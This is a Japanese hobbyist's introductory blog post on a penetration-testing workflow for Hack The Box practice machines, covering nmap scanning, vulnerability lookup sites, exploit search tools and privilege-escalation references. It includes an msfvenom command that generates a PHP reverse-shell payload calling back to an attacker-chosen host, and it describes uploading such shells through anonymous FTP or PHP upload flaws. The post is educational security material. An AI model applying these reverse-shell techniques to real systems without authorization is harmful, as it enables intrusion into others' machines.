ペネトレーションテスト入門

# はじめに
Hack The Boxなどでペネトレーションテストを行う上で、私が実践している工程や参照しているwebサイト、使用しているツールをまとめます。
ちなみに私は趣味でペネトレーションテストを行っている者であり、プロのペンテスターではありませんので記事の内容を鵜呑みにしないようよろしくお願いします。

# 目次
- ペネトレーションテストとは
- ペネトレーションテストの工程
- 各工程の詳細
    - ポートスキャン
    - 脆弱性調査
    - エクスプロイト
    - 権限昇格
- おわりに

# ペネトレーションテストとは
ペネトレーションテスト（以下ペネトレ）とはターゲットマシンに対して、様々な技術を駆使して侵入を試みることです。
システムにセキュリティ上の脆弱性がないかテストを行います。

# ペネトレーションテストの工程
一般的にペネトレーションテストは以下の工程で行います。

1. ポートスキャン
2. 脆弱性調査
3. エクスプロイト
4. 権限昇格

# 各工程の詳細
以下で、ペネトレーションテストの各工程の詳細を説明します。

## ポートスキャン
ポートスキャンとはターゲットマシンにおいて、
「開放されているポートで実行されているサービスを調べる」ことです。
私は[nmap](https://nmap.org/)を用いてポートスキャンを行っています。
ペネトレーションテストを開始する時に、以下のコマンドを実行しています。

```
nmap -T4 -A -v -p- -Pn <IP>

# -T4: スキャンの速度、0-5で設定できる。数字を増やすと速度UP。
# -A : OS検出とバージョン検出
# -p-: 0から65535までの全てのポートをスキャン
# -v : 進行中のスキャンに関する情報の冗長性レベルを上げる
# -Pn: pingを送信しない。付けないとうまくいかない時がある。
```

オプションの詳細は[こちら](https://nmap.org/man/ja/man-briefoptions.html)を参照してください。

## 脆弱性調査
脆弱性調査の工程では各ポートで実行されているサービスに脆弱性がないか調べます。

私は各サービスに対して脆弱性調査を実行する際に[hacktricks](https://book.hacktricks.xyz/pentesting/pentesting-network)というサイトを参照しています。
このサイトにはそれぞれのサービスの調査でやるべきことが記載されています。
![_2021-03-05_12.17.26.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/326169/1fab6568-e82e-4826-b6ed-9d681fcf70fc.png)

また、[CVE Details](https://www.cvedetails.com/)というサイトも参照しています。
以下のように、特定のサービスに存在している脆弱性とその詳細を検索できるのでとても良いです。
![スクリーンショット 2021-03-07 0.10.38.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/326169/d453834d-f469-6ea8-3a9d-aa7170441d69.png)
![スクリーンショット 2021-03-07 0.11.57.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/326169/18fea8f8-d4b2-17a9-0b18-3b60198f6cd7.png)


さらに、nmapに付随しているスクリプトも使用します。
kali linuxでは`/usr/share/nmap/scripts/`にあります。
以下のように、指定したポートに対してスクリプトを実行します。

```
# vulnと名の付いたスクリプトを全て実行
nmap -p <port> --script vuln <target ip>

# http関連の脆弱性調査
nmap -p <port> -script http-vuln* <target ip>
```

そして、webアプリの調査では以下のツールを使用しています。

- gobuster, dirbuster
    - ディレクトリスキャナ
    - httpリクエストをたくさん送信して、存在するディレクトリ、ファイルを調べる。
- burpsuite
    - ローカルプロキシツール
    - ブラウザとサーバ間の通信内容を中継して、編集できる。
- nikto
    - webアプリの脆弱性スキャナ
    - 便利なやつ。実行速度は遅め。

# エクスプロイト
エクスプロイトの工程では、脆弱性のあるサービスに対して攻撃を行います。
攻撃コードの用意、攻撃の実行という2つのパートに分かれています。

## 攻撃コードの用意
攻撃コードの用意ですがHack The Boxなど、既知の脆弱性のあるマシンを攻撃する際に、攻撃コードを自分で0から書くということはほとんどありません。攻撃コードは公開されていることが多いです。
特に、任意のコードが実行できる脆弱性を突く攻撃コードを探します。

攻撃コードが検索できるものとして、[exploit DB](https://www.exploit-db.com/)というサイトがあります。
こちらはkali linuxで`searchsploit <keyword>`で検索することもできます。
![_2021-03-05_13.00.23.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/326169/fd8a48e0-5ae7-b9c4-04f6-afc98da57946.png)

また、[metasploit](https://www.metasploit.com/)というツールでも攻撃コードの検索ができます。
こちらは攻撃コードの実行までできるフレームワークです。
`msfconsole`を実行するとmetasploitのコンソールに移行し、`search <keyword>`で検索ができます。

## 攻撃の実行
攻撃の実行では、主にリバースシェルを行うことを目的とします。

リバースシェルとは、つまり、ターゲットマシンのシェルを攻撃側のマシンに渡すことです。
リバースシェルを行うと、ターゲットマシンに侵入できたことになります。
![スクリーンショット 2021-03-07 0.20.37.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/326169/8cacd441-7283-d97d-f65c-45c9ca391c22.png)

リバースシェルを行う方法は2パターンあります。
1つ目は、攻撃コードの用意のパートで用意した攻撃コードを実行することです。
リバースシェルを行うものを用意します。

2つ目は、リバースシェルを行うコードをアップロードできる脆弱性を使用することです。
例として、ftpの匿名ログイン、PHPコードをアップロードして実行できるwebアプリなどがあります。

リバースシェルを行うコードを生成するツールとして、msfvenomがあります。
様々な種類のコードの生成方法は[こちら](https://redteamtutorials.com/2018/10/24/msfvenom-cheatsheet/)で確認できます。
以下はPHPのリバースシェルを行うコードを生成する例です。LISTENを行うIPアドレスとポートを指定します。

```
msfvenom -p php/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Port Number> -f raw > reverse.php
```

また、kali linuxでは`/usr/share/webshells/`にリバースシェルを行うコードが置かれています。

# 権限昇格
リバースシェルで取得したシェルに管理者権限がない場合は、権限昇格を行い管理者権限を得ます。
権限昇格はターゲットマシンのOSがWindowsかLinuxかでだいぶ手法が異なります。
それぞれ以下のサイトが参考になります。

- Windows
    - [Total OSCP Guide - Privilege Escalation Windows](https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_windows.html)
    - [hacktricks - Windows Local Privilege Escalation](https://book.hacktricks.xyz/windows/windows-local-privilege-escalation)
 
- Linux
    - [Total OSCP Guide - Privilege Escalation Linux](https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_-_linux.html)
    - [hacktricks - Linux Local Privilege Escalation](https://book.hacktricks.xyz/linux-unix/privilege-escalation)


# おわりに
この記事では、ペネトレーションテストを行う上で、私が実践している工程や参照しているwebサイト、使用しているツールを紹介しました。

ペネトレーションテストに興味がある方は、Hack The Boxのretiredマシンに取り組んでみることをお勧めします。retiredマシンは解答が公開されているので、解答を参考にしつつペネトレーションテストを学ぶことができます。

Happy Hacking!!